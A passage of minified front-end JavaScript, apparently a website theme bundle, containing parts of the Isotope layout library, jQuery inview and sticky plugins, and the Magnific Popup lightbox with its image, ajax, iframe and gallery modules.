n=0;n<t.length;n++){var s=t[n],r=i.sortData[s],a=o.sortData[s];if(r>a||r<a){var u=void 0!==e[s]?e[s]:e,h=u?1:-1;return(r>a?1:-1)*h}}return 0}}var u=t.jQuery,h=String.prototype.trim?function(t){return t.trim()}:function(t){return t.replace(/^\s+|\s+$/g,"")},d=e.create("isotope",{layoutMode:"masonry",isJQueryFiltering:!0,sortAscending:!0});d.Item=s,d.LayoutMode=r;var l=d.prototype;l._create=function(){this.itemGUID=0,this._sorters={},this._getSorters(),e.prototype._create.call(this),this.modes={},this.filteredItems=this.items,this.sortHistory=["original-order"];for(var t in r.modes)this._initLayoutMode(t)},l.reloadItems=function(){this.itemGUID=0,e.prototype.reloadItems.call(this)},l._itemize=function(){for(var t=e.prototype._itemize.apply(this,arguments),i=0;i<t.length;i++){var o=t[i];o.id=this.itemGUID++}return this._updateItemsSortData(t),t},l._initLayoutMode=function(t){var e=r.modes[t],i=this.options[t]||{};this.options[t]=e.options?n.extend(e.options,i):i,this.modes[t]=new e(this)},l.layout=function(){return!this._isLayoutInited&&this._getOption("initLayout")?void this.arrange():void this._layout()},l._layout=function(){var t=this._getIsInstant();this._resetLayout(),this._manageStamps(),this.layoutItems(this.filteredItems,t),this._isLayoutInited=!0},l.arrange=function(t){this.option(t),this._getIsInstant();var e=this._filter(this.items);this.filteredItems=e.matches,this._bindArrangeComplete(),this._isInstant?this._noTransition(this._hideReveal,[e]):this._hideReveal(e),this._sort(),this._layout()},l._init=l.arrange,l._hideReveal=function(t){this.reveal(t.needReveal),this.hide(t.needHide)},l._getIsInstant=function(){var t=this._getOption("layoutInstant"),e=void 0!==t?t:!this._isLayoutInited;return this._isInstant=e,e},l._bindArrangeComplete=function(){function t(){e&&i&&o&&n.dispatchEvent("arrangeComplete",null,[n.filteredItems])}var e,i,o,n=this;this.once("layoutComplete",function(){e=!0,t()}),this.once("hideComplete",function(){i=!0,t()}),this.once("revealComplete",function(){o=!0,t()})},l._filter=function(t){var e=this.options.filter;e=e||"*";for(var i=[],o=[],n=[],s=this._getFilterTest(e),r=0;r<t.length;r++){var a=t[r];if(!a.isIgnored){var u=s(a);u&&i.push(a),u&&a.isHidden?o.push(a):u||a.isHidden||n.push(a)}}return{matches:i,needReveal:o,needHide:n}},l._getFilterTest=function(t){return u&&this.options.isJQueryFiltering?function(e){return u(e.element).is(t);
}:"function"==typeof t?function(e){return t(e.element)}:function(e){return o(e.element,t)}},l.updateSortData=function(t){var e;t?(t=n.makeArray(t),e=this.getItems(t)):e=this.items,this._getSorters(),this._updateItemsSortData(e)},l._getSorters=function(){var t=this.options.getSortData;for(var e in t){var i=t[e];this._sorters[e]=f(i)}},l._updateItemsSortData=function(t){for(var e=t&&t.length,i=0;e&&i<e;i++){var o=t[i];o.updateSortData()}};var f=function(){function t(t){if("string"!=typeof t)return t;var i=h(t).split(" "),o=i[0],n=o.match(/^\[(.+)\]$/),s=n&&n[1],r=e(s,o),a=d.sortDataParsers[i[1]];return t=a?function(t){return t&&a(r(t))}:function(t){return t&&r(t)}}function e(t,e){return t?function(e){return e.getAttribute(t)}:function(t){var i=t.querySelector(e);return i&&i.textContent}}return t}();d.sortDataParsers={parseInt:function(t){return parseInt(t,10)},parseFloat:function(t){return parseFloat(t)}},l._sort=function(){if(this.options.sortBy){var t=n.makeArray(this.options.sortBy);this._getIsSameSortBy(t)||(this.sortHistory=t.concat(this.sortHistory));var e=a(this.sortHistory,this.options.sortAscending);this.filteredItems.sort(e)}},l._getIsSameSortBy=function(t){for(var e=0;e<t.length;e++)if(t[e]!=this.sortHistory[e])return!1;return!0},l._mode=function(){var t=this.options.layoutMode,e=this.modes[t];if(!e)throw new Error("No layout mode: "+t);return e.options=this.options[t],e},l._resetLayout=function(){e.prototype._resetLayout.call(this),this._mode()._resetLayout()},l._getItemLayoutPosition=function(t){return this._mode()._getItemLayoutPosition(t)},l._manageStamp=function(t){this._mode()._manageStamp(t)},l._getContainerSize=function(){return this._mode()._getContainerSize()},l.needsResizeLayout=function(){return this._mode().needsResizeLayout()},l.appended=function(t){var e=this.addItems(t);if(e.length){var i=this._filterRevealAdded(e);this.filteredItems=this.filteredItems.concat(i)}},l.prepended=function(t){var e=this._itemize(t);if(e.length){this._resetLayout(),this._manageStamps();var i=this._filterRevealAdded(e);this.layoutItems(this.filteredItems),this.filteredItems=i.concat(this.filteredItems),this.items=e.concat(this.items)}},l._filterRevealAdded=function(t){var e=this._filter(t);return this.hide(e.needHide),this.reveal(e.matches),this.layoutItems(e.matches,!0),e.matches},l.insert=function(t){var e=this.addItems(t);if(e.length){var i,o,n=e.length;for(i=0;i<n;i++)o=e[i],this.element.appendChild(o.element);var s=this._filter(e).matches;for(i=0;i<n;i++)e[i].isLayoutInstant=!0;for(this.arrange(),i=0;i<n;i++)delete e[i].isLayoutInstant;this.reveal(s)}};var c=l.remove;return l.remove=function(t){t=n.makeArray(t);var e=this.getItems(t);c.call(this,t);for(var i=e&&e.length,o=0;i&&o<i;o++){var s=e[o];n.removeFrom(this.filteredItems,s)}},l.shuffle=function(){for(var t=0;t<this.items.length;t++){var e=this.items[t];e.sortData.random=Math.random()}this.options.sortBy="random",this._sort(),this._layout()},l._noTransition=function(t,e){var i=this.options.transitionDuration;this.options.transitionDuration=0;var o=t.apply(this,e);return this.options.transitionDuration=i,o},l.getFilteredItemElements=function(){return this.filteredItems.map(function(t){return t.element})},d});

/* Inview */
!function(t){var e,i,n={},o=document,l=window,a=o.documentElement,d=t.expando;t.event.special.inview={add:function(e){n[e.guid+"-"+this[d]]={data:e,$element:t(this)}},remove:function(t){try{delete n[t.guid+"-"+this[d]]}catch(e){}}},t(l).on("scroll resize",function(){e=i=null}),!a.addEventListener&&a.attachEvent&&a.attachEvent("onfocusin",function(){i=null}),setInterval(function(){var d,f=t(),h=0;if(t.each(n,function(t,e){var i=e.data.selector,n=e.$element;f=f.add(i?n.find(i):n)}),d=f.length){var r;if(!(r=e)){var c={height:l.innerHeight,width:l.innerWidth};c.height||!(r=o.compatMode)&&t.support.boxModel||(r="CSS1Compat"===r?a:o.body,c={height:r.clientHeight,width:r.clientWidth}),r=c}for(e=r,i=i||{top:l.pageYOffset||a.scrollTop||o.body.scrollTop,left:l.pageXOffset||a.scrollLeft||o.body.scrollLeft};d>h;h++)if(t.contains(a,f[h])){r=t(f[h]);var p=r.height(),s=r.width(),g=r.offset(),c=r.data("inview");if(!i||!e)break;g.top+p>i.top&&g.top<i.top+e.height&&g.left+s>i.left&&g.left<i.left+e.width?(s=i.left>g.left?"right":i.left+e.width<g.left+s?"left":"both",p=i.top>g.top?"bottom":i.top+e.height<g.top+p?"top":"both",g=s+"-"+p,(!c||c!==g)&&r.data("inview",g).trigger("inview",[!0,s,p])):c&&r.data("inview",!1).trigger("inview",[!1])}}},250)}(jQuery);

/* Sticky */
!function(t){var e={topSpacing:0,bottomSpacing:0,className:"is-sticky",wrapperClassName:"sticky-wrapper",center:!1,getWidthFrom:"",responsiveWidth:!1},i=t(window),n=t(document),s=[],r=i.height(),o=function(){for(var e=i.scrollTop(),o=n.height(),a=o-r,c=e>a?a-e:0,p=0;p<s.length;p++){var l=s[p],d=l.stickyWrapper.offset().top,h=d-l.topSpacing-c;if(h>=e)null!==l.currentTop&&(l.stickyElement.css("position","").css("top",""),l.stickyElement.trigger("sticky-end",[l]).parent().removeClass(l.className),l.currentTop=null);else{var u=o-l.stickyElement.outerHeight()-l.topSpacing-l.bottomSpacing-e-c;0>u?u+=l.topSpacing:u=l.topSpacing,l.currentTop!=u&&(l.stickyElement.css("position","fixed").css("top",u),"undefined"!=typeof l.getWidthFrom&&l.stickyElement.css("width",t(l.getWidthFrom).width()),l.stickyElement.trigger("sticky-start",[l]).parent().addClass(l.className),l.currentTop=u)}}},a=function(){r=i.height();for(var e=0;e<s.length;e++){var n=s[e];"undefined"!=typeof n.getWidthFrom&&n.responsiveWidth===!0&&n.stickyElement.css("width",t(n.getWidthFrom).width())}},c={init:function(i){var n=t.extend({},e,i);return this.each(function(){var i=t(this),r=i.attr("id"),o=(r?r+"-"+e.wrapperClassName:e.wrapperClassName,t("<div></div>").attr("id",r+"-sticky-wrapper").addClass(n.wrapperClassName));i.wrapAll(o),n.center&&i.parent().css({width:i.outerWidth(),marginLeft:"auto",marginRight:"auto"}),"right"==i.css("float")&&i.css({"float":"none"}).parent().css({"float":"right"});var a=i.parent();a.css("height",i.outerHeight()),s.push({topSpacing:n.topSpacing,bottomSpacing:n.bottomSpacing,stickyElement:i,currentTop:null,stickyWrapper:a,className:n.className,getWidthFrom:n.getWidthFrom,responsiveWidth:n.responsiveWidth})})},update:o,unstick:function(){return this.each(function(){for(var e=t(this),i=-1,n=0;n<s.length;n++)s[n].stickyElement.get(0)==e.get(0)&&(i=n);-1!=i&&(s.splice(i,1),e.unwrap(),e.removeAttr("style"))})}};window.addEventListener?(window.addEventListener("scroll",o,!1),window.addEventListener("resize",a,!1)):window.attachEvent&&(window.attachEvent("onscroll",o),window.attachEvent("onresize",a)),t.fn.pensticky=function(e){return c[e]?c[e].apply(this,Array.prototype.slice.call(arguments,1)):"object"!=typeof e&&e?void t.error("Method "+e+" does not exist on jQuery.sticky"):c.init.apply(this,arguments)},t.fn.penunstick=function(e){return c[e]?c[e].apply(this,Array.prototype.slice.call(arguments,1)):"object"!=typeof e&&e?void t.error("Method "+e+" does not exist on jQuery.sticky"):c.unstick.apply(this,arguments)},t(function(){setTimeout(o,0)})}(jQuery);

/* Magnific-popup */
!function(e){var t,n,i,o,r,a,s,l="Close",c="BeforeClose",d="AfterClose",u="BeforeAppend",p="MarkupParse",f="Open",m="Change",g="mfp",h="."+g,v="mfp-ready",C="mfp-removing",y="mfp-prevent-close",w=function(){},b=!!window.jQuery,I=e(window),x=function(e,n){t.ev.on(g+e+h,n)},k=function(t,n,i,o){var r=document.createElement("div");return r.className="mfp-"+t,i&&(r.innerHTML=i),o?n&&n.appendChild(r):(r=e(r),n&&r.appendTo(n)),r},T=function(n,i){t.ev.triggerHandler(g+n,i),t.st.callbacks&&(n=n.charAt(0).toLowerCase()+n.slice(1),t.st.callbacks[n]&&t.st.callbacks[n].apply(t,e.isArray(i)?i:[i]))},E=function(n){return n===s&&t.currTemplate.closeBtn||(t.currTemplate.closeBtn=e(t.st.closeMarkup.replace("%title%",t.st.tClose)),s=n),t.currTemplate.closeBtn},_=function(){e.magnificPopup.instance||(t=new w,t.init(),e.magnificPopup.instance=t)},S=function(){var e=document.createElement("p").style,t=["ms","O","Moz","Webkit"];if(void 0!==e.transition)return!0;for(;t.length;)if(t.pop()+"Transition"in e)return!0;return!1};w.prototype={constructor:w,init:function(){var n=navigator.appVersion;t.isIE7=-1!==n.indexOf("MSIE 7."),t.isIE8=-1!==n.indexOf("MSIE 8."),t.isLowIE=t.isIE7||t.isIE8,t.isAndroid=/android/gi.test(n),t.isIOS=/iphone|ipad|ipod/gi.test(n),t.supportsTransition=S(),t.probablyMobile=t.isAndroid||t.isIOS||/(Opera Mini)|Kindle|webOS|BlackBerry|(Opera Mobi)|(Windows Phone)|IEMobile/i.test(navigator.userAgent),o=e(document),t.popupsCache={}},open:function(n){i||(i=e(document.body));var r;if(n.isObj===!1){t.items=n.items.toArray(),t.index=0;var s,l=n.items;for(r=0;r<l.length;r++)if(s=l[r],s.parsed&&(s=s.el[0]),s===n.el[0]){t.index=r;break}}else t.items=e.isArray(n.items)?n.items:[n.items],t.index=n.index||0;if(t.isOpen)return void t.updateItemHTML();t.types=[],a="",t.ev=n.mainEl&&n.mainEl.length?n.mainEl.eq(0):o,n.key?(t.popupsCache[n.key]||(t.popupsCache[n.key]={}),t.currTemplate=t.popupsCache[n.key]):t.currTemplate={},t.st=e.extend(!0,{},e.magnificPopup.defaults,n),t.fixedContentPos="auto"===t.st.fixedContentPos?!t.probablyMobile:t.st.fixedContentPos,t.st.modal&&(t.st.closeOnContentClick=!1,t.st.closeOnBgClick=!1,t.st.showCloseBtn=!1,t.st.enableEscapeKey=!1),t.bgOverlay||(t.bgOverlay=k("bg").on("click"+h,function(){t.close()}),t.wrap=k("wrap").attr("tabindex",-1).on("click"+h,function(e){t._checkIfClose(e.target)&&t.close()}),t.container=k("container",t.wrap)),t.contentContainer=k("content"),t.st.preloader&&(t.preloader=k("preloader",t.container,t.st.tLoading));var c=e.magnificPopup.modules;for(r=0;r<c.length;r++){var d=c[r];d=d.charAt(0).toUpperCase()+d.slice(1),t["init"+d].call(t)}T("BeforeOpen"),t.st.showCloseBtn&&(t.st.closeBtnInside?(x(p,function(e,t,n,i){n.close_replaceWith=E(i.type)}),a+=" mfp-close-btn-in"):t.wrap.append(E())),t.st.alignTop&&(a+=" mfp-align-top"),t.wrap.css(t.fixedContentPos?{overflow:t.st.overflowY,overflowX:"hidden",overflowY:t.st.overflowY}:{top:I.scrollTop(),position:"absolute"}),(t.st.fixedBgPos===!1||"auto"===t.st.fixedBgPos&&!t.fixedContentPos)&&t.bgOverlay.css({height:o.height(),position:"absolute"}),t.st.enableEscapeKey&&o.on("keyup"+h,function(e){27===e.keyCode&&t.close()}),I.on("resize"+h,function(){t.updateSize()}),t.st.closeOnContentClick||(a+=" mfp-auto-cursor"),a&&t.wrap.addClass(a);var u=t.wH=I.height(),m={};if(t.fixedContentPos&&t._hasScrollBar(u)){var g=t._getScrollbarSize();g&&(m.marginRight=g)}t.fixedContentPos&&(t.isIE7?e("body, html").css("overflow","hidden"):m.overflow="hidden");var C=t.st.mainClass;return t.isIE7&&(C+=" mfp-ie7"),C&&t._addClassToMFP(C),t.updateItemHTML(),T("BuildControls"),e("html").css(m),t.bgOverlay.add(t.wrap).prependTo(t.st.prependTo||i),t._lastFocusedEl=document.activeElement,setTimeout(function(){t.content?(t._addClassToMFP(v),t._setFocus()):t.bgOverlay.addClass(v),o.on("focusin"+h,t._onFocusIn)},16),t.isOpen=!0,t.updateSize(u),T(f),n},close:function(){t.isOpen&&(T(c),t.isOpen=!1,t.st.removalDelay&&!t.isLowIE&&t.supportsTransition?(t._addClassToMFP(C),setTimeout(function(){t._close()},t.st.removalDelay)):t._close())},_close:function(){T(l);var n=C+" "+v+" ";if(t.bgOverlay.detach(),t.wrap.detach(),t.container.empty(),t.st.mainClass&&(n+=t.st.mainClass+" "),t._removeClassFromMFP(n),t.fixedContentPos){var i={marginRight:""};t.isIE7?e("body, html").css("overflow",""):i.overflow="",e("html").css(i)}o.off("keyup"+h+" focusin"+h),t.ev.off(h),t.wrap.attr("class","mfp-wrap").removeAttr("style"),t.bgOverlay.attr("class","mfp-bg"),t.container.attr("class","mfp-container"),t.st.showCloseBtn&&(!t.st.closeBtnInside||t.currTemplate[t.currItem.type]===!0)&&t.currTemplate.closeBtn&&t.currTemplate.closeBtn.detach(),t._lastFocusedEl&&e(t._lastFocusedEl).trigger('focus'),t.currItem=null,t.content=null,t.currTemplate=null,t.prevHeight=0,T(d)},updateSize:function(e){if(t.isIOS){var n=document.documentElement.clientWidth/window.innerWidth,i=window.innerHeight*n;t.wrap.css("height",i),t.wH=i}else t.wH=e||I.height();t.fixedContentPos||t.wrap.css("height",t.wH),T("Resize")},updateItemHTML:function(){var n=t.items[t.index];t.contentContainer.detach(),t.content&&t.content.detach(),n.parsed||(n=t.parseEl(t.index));var i=n.type;if(T("BeforeChange",[t.currItem?t.currItem.type:"",i]),t.currItem=n,!t.currTemplate[i]){var o=t.st[i]?t.st[i].markup:!1;T("FirstMarkupParse",o),t.currTemplate[i]=o?e(o):!0}r&&r!==n.type&&t.container.removeClass("mfp-"+r+"-holder");var a=t["get"+i.charAt(0).toUpperCase()+i.slice(1)](n,t.currTemplate[i]);t.appendContent(a,i),n.preloaded=!0,T(m,n),r=n.type,t.container.prepend(t.contentContainer),T("AfterChange")},appendContent:function(e,n){t.content=e,e?t.st.showCloseBtn&&t.st.closeBtnInside&&t.currTemplate[n]===!0?t.content.find(".mfp-close").length||t.content.append(E()):t.content=e:t.content="",T(u),t.container.addClass("mfp-"+n+"-holder"),t.contentContainer.append(t.content)},parseEl:function(n){var i,o=t.items[n];if(o.tagName?o={el:e(o)}:(i=o.type,o={data:o,src:o.src}),o.el){for(var r=t.types,a=0;a<r.length;a++)if(o.el.hasClass("mfp-"+r[a])){i=r[a];break}o.src=o.el.attr("data-mfp-src"),o.src||(o.src=o.el.attr("href"))}return o.type=i||t.st.type||"inline",o.index=n,o.parsed=!0,t.items[n]=o,T("ElementParse",o),t.items[n]},addGroup:function(e,n){var i=function(i){i.mfpEl=this,t._openClick(i,e,n)};n||(n={});var o="click.magnificPopup";n.mainEl=e,n.items?(n.isObj=!0,e.off(o).on(o,i)):(n.isObj=!1,n.delegate?e.off(o).on(o,n.delegate,i):(n.items=e,e.off(o).on(o,i)))},_openClick:function(n,i,o){var r=void 0!==o.midClick?o.midClick:e.magnificPopup.defaults.midClick;if(r||2!==n.which&&!n.ctrlKey&&!n.metaKey){var a=void 0!==o.disableOn?o.disableOn:e.magnificPopup.defaults.disableOn;if(a)if(typeof a === 'function'){if(!a.call(t))return!0}else if(I.width()<a)return!0;n.type&&(n.preventDefault(),t.isOpen&&n.stopPropagation()),o.el=e(n.mfpEl),o.delegate&&(o.items=i.find(o.delegate)),t.open(o)}},updateStatus:function(e,i){if(t.preloader){n!==e&&t.container.removeClass("mfp-s-"+n),!i&&"loading"===e&&(i=t.st.tLoading);var o={status:e,text:i};T("UpdateStatus",o),e=o.status,i=o.text,t.preloader.html(i),t.preloader.find("a").on("click",function(e){e.stopImmediatePropagation()}),t.container.addClass("mfp-s-"+e),n=e}},_checkIfClose:function(n){if(!e(n).hasClass(y)){var i=t.st.closeOnContentClick,o=t.st.closeOnBgClick;if(i&&o)return!0;if(!t.content||e(n).hasClass("mfp-close")||t.preloader&&n===t.preloader[0])return!0;if(n===t.content[0]||e.contains(t.content[0],n)){if(i)return!0}else if(o&&e.contains(document,n))return!0;return!1}},_addClassToMFP:function(e){t.bgOverlay.addClass(e),t.wrap.addClass(e)},_removeClassFromMFP:function(e){this.bgOverlay.removeClass(e),t.wrap.removeClass(e)},_hasScrollBar:function(e){return(t.isIE7?o.height():document.body.scrollHeight)>(e||I.height())},_setFocus:function(){(t.st.focus?t.content.find(t.st.focus).eq(0):t.wrap).trigger('focus')},_onFocusIn:function(n){return n.target===t.wrap[0]||e.contains(t.wrap[0],n.target)?void 0:(t._setFocus(),!1)},_parseMarkup:function(t,n,i){var o;i.data&&(n=e.extend(i.data,n)),T(p,[t,n,i]),e.each(n,function(e,n){if(void 0===n||n===!1)return!0;if(o=e.split("_"),o.length>1){var i=t.find(h+"-"+o[0]);if(i.length>0){var r=o[1];"replaceWith"===r?i[0]!==n[0]&&i.replaceWith(n):"img"===r?i.is("img")?i.attr("src",n):i.replaceWith('<img src="'+n+'" class="'+i.attr("class")+'" />'):i.attr(o[1],n)}}else t.find(h+"-"+e).html(n)})},_getScrollbarSize:function(){if(void 0===t.scrollbarSize){var e=document.createElement("div");e.id="mfp-sbm",e.style.cssText="width: 99px; height: 99px; overflow: scroll; position: absolute; top: -9999px;",document.body.appendChild(e),t.scrollbarSize=e.offsetWidth-e.clientWidth,document.body.removeChild(e)}return t.scrollbarSize}},e.magnificPopup={instance:null,proto:w.prototype,modules:[],open:function(t,n){return _(),t=t?e.extend(!0,{},t):{},t.isObj=!0,t.index=n||0,this.instance.open(t)},close:function(){return e.magnificPopup.instance&&e.magnificPopup.instance.close()},registerModule:function(t,n){n.options&&(e.magnificPopup.defaults[t]=n.options),e.extend(this.proto,n.proto),this.modules.push(t)},defaults:{disableOn:0,key:null,midClick:!1,mainClass:"",preloader:!0,focus:"",closeOnContentClick:!1,closeOnBgClick:!0,closeBtnInside:!0,showCloseBtn:!0,enableEscapeKey:!0,modal:!1,alignTop:!1,removalDelay:0,prependTo:null,fixedContentPos:"auto",fixedBgPos:"auto",overflowY:"auto",closeMarkup:'<button title="%title%" type="button" class="mfp-close">&times;</button>',tClose:"Close (Esc)",tLoading:"Loading..."}},e.fn.magnificPopup=function(n){_();var i=e(this);if("string"==typeof n)if("open"===n){var o,r=b?i.data("magnificPopup"):i[0].magnificPopup,a=parseInt(arguments[1],10)||0;r.items?o=r.items[a]:(o=i,r.delegate&&(o=o.find(r.delegate)),o=o.eq(a)),t._openClick({mfpEl:o},i,r)}else t.isOpen&&t[n].apply(t,Array.prototype.slice.call(arguments,1));else n=e.extend(!0,{},n),b?i.data("magnificPopup",n):i[0].magnificPopup=n,t.addGroup(i,n);return i};var P,O,z,M="inline",B=function(){z&&(O.after(z.addClass(P)).detach(),z=null)};e.magnificPopup.registerModule(M,{options:{hiddenClass:"hide",markup:"",tNotFound:"Content not found"},proto:{initInline:function(){t.types.push(M),x(l+"."+M,function(){B()})},getInline:function(n,i){if(B(),n.src){var o=t.st.inline,r=e(n.src);if(r.length){var a=r[0].parentNode;a&&a.tagName&&(O||(P=o.hiddenClass,O=k(P),P="mfp-"+P),z=r.after(O).detach().removeClass(P)),t.updateStatus("ready")}else t.updateStatus("error",o.tNotFound),r=e("<div>");return n.inlineElement=r,r}return t.updateStatus("ready"),t._parseMarkup(i,{},n),i}}});var F,H="ajax",L=function(){F&&i.removeClass(F)},A=function(){L(),t.req&&t.req.abort()};e.magnificPopup.registerModule(H,{options:{settings:null,cursor:"mfp-ajax-cur",tError:'<a href="%url%">The content</a> could not be loaded.'},proto:{initAjax:function(){t.types.push(H),F=t.st.ajax.cursor,x(l+"."+H,A),x("BeforeChange."+H,A)},getAjax:function(n){F&&i.addClass(F),t.updateStatus("loading");var o=e.extend({url:n.src,success:function(i,o,r){var a={data:i,xhr:r};T("ParseAjax",a),t.appendContent(e(a.data),H),n.finished=!0,L(),t._setFocus(),setTimeout(function(){t.wrap.addClass(v)},16),t.updateStatus("ready"),T("AjaxContentAdded")},error:function(){L(),n.finished=n.loadError=!0,t.updateStatus("error",t.st.ajax.tError.replace("%url%",n.src))}},t.st.ajax.settings);return t.req=e.ajax(o),""}}});var j,N=function(n){if(n.data&&void 0!==n.data.title)return n.data.title;var i=t.st.image.titleSrc;if(i){if(typeof i === 'function')return i.call(t,n);if(n.el)return n.el.attr(i)||""}return""};e.magnificPopup.registerModule("image",{options:{markup:'<div class="mfp-figure"><div class="mfp-close"></div><figure><div class="mfp-img"></div><figcaption><div class="mfp-bottom-bar"><div class="mfp-title"></div><div class="mfp-counter"></div></div></figcaption></figure></div>',cursor:"mfp-zoom-out-cur",titleSrc:"title",verticalFit:!0,tError:'<a href="%url%">The image</a> could not be loaded.'},proto:{initImage:function(){var e=t.st.image,n=".image";t.types.push("image"),x(f+n,function(){"image"===t.currItem.type&&e.cursor&&i.addClass(e.cursor)}),x(l+n,function(){e.cursor&&i.removeClass(e.cursor),I.off("resize"+h)}),x("Resize"+n,t.resizeImage),t.isLowIE&&x("AfterChange",t.resizeImage)},resizeImage:function(){var e=t.currItem;if(e&&e.img&&t.st.image.verticalFit){var n=0;t.isLowIE&&(n=parseInt(e.img.css("padding-top"),10)+parseInt(e.img.css("padding-bottom"),10)),e.img.css("max-height",t.wH-n)}},_onImageHasSize:function(e){e.img&&(e.hasSize=!0,j&&clearInterval(j),e.isCheckingImgSize=!1,T("ImageHasSize",e),e.imgHidden&&(t.content&&t.content.removeClass("mfp-loading"),e.imgHidden=!1))},findImageSize:function(e){var n=0,i=e.img[0],o=function(r){j&&clearInterval(j),j=setInterval(function(){return i.naturalWidth>0?void t._onImageHasSize(e):(n>200&&clearInterval(j),n++,3===n?o(10):40===n?o(50):100===n&&o(500),void 0)},r)};o(1)},getImage:function(n,i){var o=0,r=function(){n&&(n.img[0].complete?(n.img.off(".mfploader"),n===t.currItem&&(t._onImageHasSize(n),t.updateStatus("ready")),n.hasSize=!0,n.loaded=!0,T("ImageLoadComplete")):(o++,200>o?setTimeout(r,100):a()))},a=function(){n&&(n.img.off(".mfploader"),n===t.currItem&&(t._onImageHasSize(n),t.updateStatus("error",s.tError.replace("%url%",n.src))),n.hasSize=!0,n.loaded=!0,n.loadError=!0)},s=t.st.image,l=i.find(".mfp-img");if(l.length){var c=document.createElement("img");c.className="mfp-img",n.img=e(c).on("load.mfploader",r).on("error.mfploader",a),c.src=n.src,l.is("img")&&(n.img=n.img.clone()),c=n.img[0],c.naturalWidth>0?n.hasSize=!0:c.width||(n.hasSize=!1)}return t._parseMarkup(i,{title:N(n),img_replaceWith:n.img},n),t.resizeImage(),n.hasSize?(j&&clearInterval(j),n.loadError?(i.addClass("mfp-loading"),t.updateStatus("error",s.tError.replace("%url%",n.src))):(i.removeClass("mfp-loading"),t.updateStatus("ready")),i):(t.updateStatus("loading"),n.loading=!0,n.hasSize||(n.imgHidden=!0,i.addClass("mfp-loading"),t.findImageSize(n)),i)}}});var W,R=function(){return void 0===W&&(W=void 0!==document.createElement("p").style.MozTransform),W};e.magnificPopup.registerModule("zoom",{options:{enabled:!1,easing:"ease-in-out",duration:300,opener:function(e){return e.is("img")?e:e.find("img")}},proto:{initZoom:function(){var e,n=t.st.zoom,i=".zoom";if(n.enabled&&t.supportsTransition){var o,r,a=n.duration,s=function(e){var t=e.clone().removeAttr("style").removeAttr("class").addClass("mfp-animated-image"),i="all "+n.duration/1e3+"s "+n.easing,o={position:"fixed",zIndex:9999,left:0,top:0,"-webkit-backface-visibility":"hidden"},r="transition";return o["-webkit-"+r]=o["-moz-"+r]=o["-o-"+r]=o[r]=i,t.css(o),t},d=function(){t.content.css("visibility","visible")};x("BuildControls"+i,function(){if(t._allowZoom()){if(clearTimeout(o),t.content.css("visibility","hidden"),e=t._getItemToZoom(),!e)return void d();r=s(e),r.css(t._getOffset()),t.wrap.append(r),o=setTimeout(function(){r.css(t._getOffset(!0)),o=setTimeout(function(){d(),setTimeout(function(){r.remove(),e=r=null,T("ZoomAnimationEnded")},16)},a)},16)}}),x(c+i,function(){if(t._allowZoom()){if(clearTimeout(o),t.st.removalDelay=a,!e){if(e=t._getItemToZoom(),!e)return;r=s(e)}r.css(t._getOffset(!0)),t.wrap.append(r),t.content.css("visibility","hidden"),setTimeout(function(){r.css(t._getOffset())},16)}}),x(l+i,function(){t._allowZoom()&&(d(),r&&r.remove(),e=null)})}},_allowZoom:function(){return"image"===t.currItem.type},_getItemToZoom:function(){return t.currItem.hasSize?t.currItem.img:!1},_getOffset:function(n){var i;i=n?t.currItem.img:t.st.zoom.opener(t.currItem.el||t.currItem);var o=i.offset(),r=parseInt(i.css("padding-top"),10),a=parseInt(i.css("padding-bottom"),10);o.top-=e(window).scrollTop()-r;var s={width:i.width(),height:(b?i.innerHeight():i[0].offsetHeight)-a-r};return R()?s["-moz-transform"]=s.transform="translate("+o.left+"px,"+o.top+"px)":(s.left=o.left,s.top=o.top),s}}});var Z="iframe",q="//about:blank",D=function(e){if(t.currTemplate[Z]){var n=t.currTemplate[Z].find("iframe");n.length&&(e||(n[0].src=q),t.isIE8&&n.css("display",e?"block":"none"))}};e.magnificPopup.registerModule(Z,{options:{markup:'<div class="mfp-iframe-scaler"><div class="mfp-close"></div><iframe class="mfp-iframe" src="//about:blank" frameborder="0" allowfullscreen></iframe></div>',srcAction:"iframe_src",patterns:{youtube:{index:"youtube.com",id:"v=",src:"//www.youtube.com/embed/%id%?autoplay=1"},vimeo:{index:"vimeo.com/",id:"/",src:"//player.vimeo.com/video/%id%?autoplay=1"},gmaps:{index:"//maps.google.",src:"%id%&output=embed"}}},proto:{initIframe:function(){t.types.push(Z),x("BeforeChange",function(e,t,n){t!==n&&(t===Z?D():n===Z&&D(!0))}),x(l+"."+Z,function(){D()})},getIframe:function(n,i){var o=n.src,r=t.st.iframe;e.each(r.patterns,function(){return o.indexOf(this.index)>-1?(this.id&&(o="string"==typeof this.id?o.substr(o.lastIndexOf(this.id)+this.id.length,o.length):this.id.call(this,o)),o=this.src.replace("%id%",o),!1):void 0});var a={};return r.srcAction&&(a[r.srcAction]=o),t._parseMarkup(i,a,n),t.updateStatus("ready"),i}}});var K=function(e){var n=t.items.length;return e>n-1?e-n:0>e?n+e:e},Y=function(e,t,n){return e.replace(/%curr%/gi,t+1).replace(/%total%/gi,n)};e.magnificPopup.registerModule("gallery",{options:{enabled:!1,arrowMarkup:'<button title="%title%" type="button" class="mfp-arrow mfp-arrow-%dir%"></button>',preload:[0,2],navigateByImgClick:!0,arrows:!0,tPrev:"Previous (Left arrow key)",tNext:"Next (Right arrow key)",tCounter:"%curr% of %total%"},proto:{initGallery:function(){var n=t.st.gallery,i=".mfp-gallery",r=Boolean(e.fn.mfpFastClick);return t.direction=!0,n&&n.enabled?(a+=" mfp-gallery",x(f+i,function(){n.navigateByImgClick&&t.wrap.on("click"+i,".mfp-img",function(){return t.items.length>1?(t.next(),!1):void 0}),o.on("keydown"+i,function(e){37===e.keyCode?t.prev():39===e.keyCode&&t.next()})}),x("UpdateStatus"+i,function(e,n){n.text&&(n.text=Y(n.text,t.currItem.index,t.items.length))}),x(p+i,function(e,i,o,r){var a=t.items.length;o.counter=a>1?Y(n.tCounter,r.index,a):""}),x("BuildControls"+i,function(){if(t.items.length>1&&n.arrows&&!t.arrowLeft){var 